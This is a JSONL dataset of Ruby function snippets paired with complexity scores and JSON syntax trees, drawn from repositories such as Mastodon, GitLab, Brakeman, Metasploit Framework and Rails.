{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20241216223859_validate_not_null_to_marker_user_column.rb","start_line":4,"raw_source":"def up\n    connection.execute(<<~SQL.squish)\n      DELETE FROM markers\n      WHERE user_id IS NULL\n    SQL\n\n    validate_check_constraint :markers, name: 'markers_user_id_null'\n    change_column_null :markers, :user_id, false\n    remove_check_constraint :markers, name: 'markers_user_id_null'\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM markers\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE user_id IS NULL\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_check_constraint\",{\"type\":\"sym\",\"children\":[\"markers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"markers_user_id_null\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"sym\",\"children\":[\"markers\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"remove_check_constraint\",{\"type\":\"sym\",\"children\":[\"markers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"markers_user_id_null\"]}]}]}]}]}]}","id":"717b99cb-163f-445b-8496-50feffff0dcb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/job_artifacts/destroy_batch_service.rb","start_line":27,"raw_source":"def execute(update_stats: true)\n        if @skip_projects_on_refresh\n          exclude_artifacts_undergoing_stats_refresh\n        else\n          track_artifacts_undergoing_stats_refresh\n        end\n\n        if @job_artifacts.empty?\n          return success(destroyed_ids: @destroyed_ids, destroyed_artifacts_count: 0, statistics_updates: {})\n        end\n\n        destroy_related_records(@job_artifacts)\n\n        destroy_around_hook(@job_artifacts) do\n          @destroyed_ids = @job_artifacts.map(&:id)\n          Ci::DeletedObject.transaction do\n            Ci::DeletedObject.bulk_import(@job_artifacts, @pick_up_at)\n            Ci::JobArtifact.id_in(@destroyed_ids).delete_all\n          end\n        end\n\n        after_batch_destroy_hook(@job_artifacts)\n\n        update_project_statistics! if update_stats\n\n        increment_monitoring_statistics(artifacts_count, artifacts_bytes)\n\n        Gitlab::Ci::Artifacts::Logger.log_deleted(@job_artifacts, 'Ci::JobArtifacts::DestroyBatchService#execute')\n\n        success(\n          destroyed_ids: @destroyed_ids,\n          destroyed_artifacts_count: artifacts_count,\n          statistics_updates: statistics_updates_per_project\n        )\n      end","complexity_score":30.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"update_stats\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skip_projects_on_refresh\"]},{\"type\":\"send\",\"children\":[null,\"exclude_artifacts_undergoing_stats_refresh\"]},{\"type\":\"send\",\"children\":[null,\"track_artifacts_undergoing_stats_refresh\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@job_artifacts\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroyed_ids\"]},{\"type\":\"ivar\",\"children\":[\"@destroyed_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroyed_artifacts_count\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"statistics_updates\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"destroy_related_records\",{\"type\":\"ivar\",\"children\":[\"@job_artifacts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy_around_hook\",{\"type\":\"ivar\",\"children\":[\"@job_artifacts\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@destroyed_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@job_artifacts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"DeletedObject\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"DeletedObject\"]},\"bulk_import\",{\"type\":\"ivar\",\"children\":[\"@job_artifacts\"]},{\"type\":\"ivar\",\"children\":[\"@pick_up_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"JobArtifact\"]},\"id_in\",{\"type\":\"ivar\",\"children\":[\"@destroyed_ids\"]}]},\"delete_all\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"after_batch_destroy_hook\",{\"type\":\"ivar\",\"children\":[\"@job_artifacts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_stats\"]},{\"type\":\"send\",\"children\":[null,\"update_project_statistics!\"]},null]},{\"type\":\"send\",\"children\":[null,\"increment_monitoring_statistics\",{\"type\":\"send\",\"children\":[null,\"artifacts_count\"]},{\"type\":\"send\",\"children\":[null,\"artifacts_bytes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Artifacts\"]},\"Logger\"]},\"log_deleted\",{\"type\":\"ivar\",\"children\":[\"@job_artifacts\"]},{\"type\":\"str\",\"children\":[\"Ci::JobArtifacts::DestroyBatchService#execute\"]}]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroyed_ids\"]},{\"type\":\"ivar\",\"children\":[\"@destroyed_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroyed_artifacts_count\"]},{\"type\":\"send\",\"children\":[null,\"artifacts_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"statistics_updates\"]},{\"type\":\"send\",\"children\":[null,\"statistics_updates_per_project\"]}]}]}]}]}]}","id":"608396b5-4bb7-4114-8194-1adf82596ccf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/git_worktree.rb","start_line":75,"raw_source":"private def find_branch(name)\n    @repo.branches.each.detect do |b|\n      b.name.casecmp(name) == 0 || b.name.casecmp(\"#{@remote_name}/#{name}\") == 0\n    end\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private\",{\"type\":\"def\",\"children\":[\"find_branch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo\"]},\"branches\"]},\"each\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"name\"]},\"casecmp\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"name\"]},\"casecmp\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@remote_name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"18adcc1b-ae16-499f-9065-c5a5d4f5b24f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_evaluation.rb","start_line":22,"raw_source":"def process_result result\n    return unless original? result\n\n    first_arg = result[:call].first_arg\n\n    unless safe_value? first_arg\n      if input = include_user_input?(first_arg)\n        confidence = :high\n        message = msg(msg_input(input), \" evaluated as code\")\n      elsif string_evaluation? first_arg\n        confidence = :low\n        message = \"Dynamic string evaluated as code\"\n      elsif result[:call].method == :eval\n        confidence = :low\n        message = \"Dynamic code evaluation\"\n      end\n\n      if confidence\n        warn :result => result,\n          :warning_type => \"Dangerous Eval\",\n          :warning_code => :code_eval,\n          :message => message,\n          :user_input => input,\n          :confidence => confidence,\n          :cwe_id => [913, 95]\n      end\n    end\n  end","complexity_score":34.85,"ast_json":"{\"type\":\"def\",\"children\":[\"process_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original?\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"first_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"first_arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_value?\",{\"type\":\"lvar\",\"children\":[\"first_arg\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[null,\"include_user_input?\",{\"type\":\"lvar\",\"children\":[\"first_arg\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"send\",\"children\":[null,\"msg_input\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"str\",\"children\":[\" evaluated as code\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string_evaluation?\",{\"type\":\"lvar\",\"children\":[\"first_arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"low\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"str\",\"children\":[\"Dynamic string evaluated as code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"eval\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"low\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"str\",\"children\":[\"Dynamic code evaluation\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confidence\"]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Dangerous Eval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"code_eval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[913]},{\"type\":\"int\",\"children\":[95]}]}]}]}]},null]}]}]}]}]}","id":"e95efc2a-a779-4a50-af7a-fcb717658067"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/parsing_quirks_test.rb","start_line":95,"raw_source":"def test_unanchored_filter_arguments\n    with_error_modes(:lax) do\n      assert_template_result('hi', \"{{ 'hi there' | split$$$:' ' | first }}\")\n\n      assert_template_result('x', \"{{ 'X' | downcase) }}\")\n\n      # After the messed up quotes a filter without parameters (reverse) should work\n      # but one with parameters (remove) shouldn't be detected.\n      assert_template_result('here',  \"{{ 'hi there' | split:\\\"t\\\"\\\" | reverse | first}}\")\n      assert_template_result('hi ', \"{{ 'hi there' | split:\\\"t\\\"\\\" | remove:\\\"i\\\" | first}}\")\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unanchored_filter_arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"lax\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"hi\"]},{\"type\":\"str\",\"children\":[\"{{ 'hi there' | split$$$:' ' | first }}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"str\",\"children\":[\"{{ 'X' | downcase) }}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"here\"]},{\"type\":\"str\",\"children\":[\"{{ 'hi there' | split:\\\"t\\\"\\\" | reverse | first}}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"hi \"]},{\"type\":\"str\",\"children\":[\"{{ 'hi there' | split:\\\"t\\\"\\\" | remove:\\\"i\\\" | first}}\"]}]}]}]}]}","id":"14d66583-744b-4b2b-9b16-188d51e51730"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/pinned_article_policy.rb","start_line":2,"raw_source":"def show?\n    user&.any_admin?\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"show?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"any_admin?\"]}]}","id":"093b3b48-5774-4e50-982f-2a9e253ec45d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/services/local_relay.rb","start_line":470,"raw_source":"def monitor_relays\n    begin\n      # Helps with latency\n      Thread.current.priority = 2\n\n      # See if we have any new connections on the existing reverse port\n      # forward relays\n      rev_chans.each do |rrfd|\n        accept_reverse_relay(rrfd)\n      end\n\n      # Poll all the streams...\n      begin\n        socks = Rex::ThreadSafe.select(rfds, nil, nil, 0.25)\n      rescue StreamClosedError => e\n        dlog(\"monitor_relays: closing stream #{e.stream}\", 'rex', LEV_3)\n\n        # Close the relay connection that is associated with the stream\n        # closed error\n        if e.stream.kind_of?(Stream)\n          close_relay_conn(e.stream)\n        end\n\n        dlog(\"monitor_relays: closed stream #{e.stream}\", 'rex', LEV_3)\n\n        next\n      rescue => e\n        elog(\"Error in #{self} monitor_relays select:\", 'rex', error: e)\n        return\n      end\n\n      # If socks is nil, go again.\n      next unless socks\n\n      # Process read-ready file descriptors, if any.\n      socks[0].each { |rfd|\n\n        # If this file descriptor is a server, accept the connection\n        if (rfd.kind_of?(StreamServer))\n          accept_relay_conn(rfd)\n        else\n          # Otherwise, it's a relay connection, read data from one side\n          # and write it to the other\n          begin\n            # Pass the data onto the other fd, most likely writing it.\n            data = rfd.sysread(65536)\n            rfd.other_stream.on_other_data(data)\n          # If we catch an error, close the connection\n          rescue ::Exception => e\n            elog(\"Error in #{self} monitor_relays read\", 'rex', error: e)\n            close_relay_conn(rfd)\n          end\n        end\n\n      } if (socks[0])\n\n    end while true\n  end","complexity_score":56.85,"ast_json":"{\"type\":\"def\",\"children\":[\"monitor_relays\",{\"type\":\"args\",\"children\":[]},{\"type\":\"while_post\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"priority=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rev_chans\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rrfd\"]}]},{\"type\":\"send\",\"children\":[null,\"accept_reverse_relay\",{\"type\":\"lvar\",\"children\":[\"rrfd\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"socks\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ThreadSafe\"]},\"select\",{\"type\":\"send\",\"children\":[null,\"rfds\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.25]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StreamClosedError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"monitor_relays: closing stream \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"stream\"]}]}]},{\"type\":\"str\",\"children\":[\"rex\"]},{\"type\":\"const\",\"children\":[null,\"LEV_3\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"stream\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Stream\"]}]},{\"type\":\"send\",\"children\":[null,\"close_relay_conn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"stream\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"monitor_relays: closed stream \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"stream\"]}]}]},{\"type\":\"str\",\"children\":[\"rex\"]},{\"type\":\"const\",\"children\":[null,\"LEV_3\"]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" monitor_relays select:\"]}]},{\"type\":\"str\",\"children\":[\"rex\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socks\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socks\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socks\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rfd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rfd\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"StreamServer\"]}]}]},{\"type\":\"send\",\"children\":[null,\"accept_relay_conn\",{\"type\":\"lvar\",\"children\":[\"rfd\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rfd\"]},\"sysread\",{\"type\":\"int\",\"children\":[65536]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rfd\"]},\"other_stream\"]},\"on_other_data\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" monitor_relays read\"]}]},{\"type\":\"str\",\"children\":[\"rex\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"close_relay_conn\",{\"type\":\"lvar\",\"children\":[\"rfd\"]}]}]}]},null]}]}]}]},null]}]}]}]}","id":"d783a007-79e1-4f63-985e-8ad2a412a073"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/delete_old_feature_flags.rb","start_line":294,"raw_source":"def apply_patch_or_ask_ai(feature_flag, change)\n      return apply_patch(feature_flag, change) if patch_exists?(feature_flag)\n\n      ai_patch(feature_flag, change)\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_patch_or_ask_ai\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_flag\"]},{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"patch_exists?\",{\"type\":\"lvar\",\"children\":[\"feature_flag\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_patch\",{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"ai_patch\",{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}]}","id":"37aae4a4-201b-4083-8289-85ae9e7ab061"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/log_subscriber_test.rb","start_line":27,"raw_source":"def baz(event)\n      info \"#{color(\"rad\", :green, bold: true, underline: true)}, #{color(\"isn't it?\", :yellow, italic: true)}\"\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"baz\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"color\",{\"type\":\"str\",\"children\":[\"rad\"]},{\"type\":\"sym\",\"children\":[\"green\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bold\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"underline\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"color\",{\"type\":\"str\",\"children\":[\"isn't it?\"]},{\"type\":\"sym\",\"children\":[\"yellow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"italic\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"fb4b9ab2-b2e6-47cc-8b76-07fe08b65a45"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/graphml.rb","start_line":30,"raw_source":"def self.convert_attribute(attr_type, value)\n        case attr_type\n        when :boolean\n          value.strip!\n          if value.blank?\n            value = false\n          else\n            value = value.downcase != 'false'\n          end\n        when :int, :long\n          value = Integer(value)\n        when :float, :double\n          value = Float(value)\n        when :string # rubocop:disable Lint/EmptyWhen\n        else\n          raise ArgumentError, 'Unsupported attribute type: ' + attr_type.to_s\n        end\n\n        value\n      end","complexity_score":23.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"convert_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_type\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"strip!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"blank?\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"downcase\"]},\"!=\",{\"type\":\"str\",\"children\":[\"false\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"int\"]},{\"type\":\"sym\",\"children\":[\"long\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"float\"]},{\"type\":\"sym\",\"children\":[\"double\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"Float\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"string\"]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported attribute type: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_type\"]},\"to_s\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"2d98916b-e2ba-4c02-88ef-ae673817096b"}
